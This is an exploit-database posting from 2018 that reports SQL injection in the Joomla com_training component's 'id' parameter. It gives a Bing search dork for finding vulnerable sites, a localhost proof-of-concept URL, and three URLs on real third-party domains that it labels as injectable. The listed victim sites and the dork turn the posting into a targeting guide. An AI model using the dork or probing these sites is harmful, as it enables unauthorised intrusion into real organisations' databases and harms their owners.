Joomla com_training SQL Injection Vulnerability

2018.05.11

j!h4dDZ (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

============================================================================
# Exploit Title: Joomla com_training SQL Injection Vulnerability     
# Date: 10-05-2018                                                      
# Exploit Author: j!h4dDZ                                                  
# Tested on: Windows 7                                                   
============================================================================
1)---------- Search target with bing Dorking-----------------------------

index.php?option=com_training&task=show&id=

---------------------------------------------------------------------------


2)--------------------Exploit the websites---------------------------------
-----------------------SQL Injection-----------------------------------------
(PoC)

http://localhost/index.php?option=com_training&task=show&id=3094 SQL Injection
----------------------------------------------------------------
http://aebb.fptic-consulting.com/index.php?option=com_training&task=show&id=1084 Injection
http://www.fptic.com/index.php?option=com_training&task=show&id=159  Injection
http://cofinanciado.fptic.com/index.php?option=com_training&task=show&id=309  Injection
------------------------------------------------------------------------------
cxsecurity.exploitalert .EXPLIO.DB

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla com_training SQL Injection Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.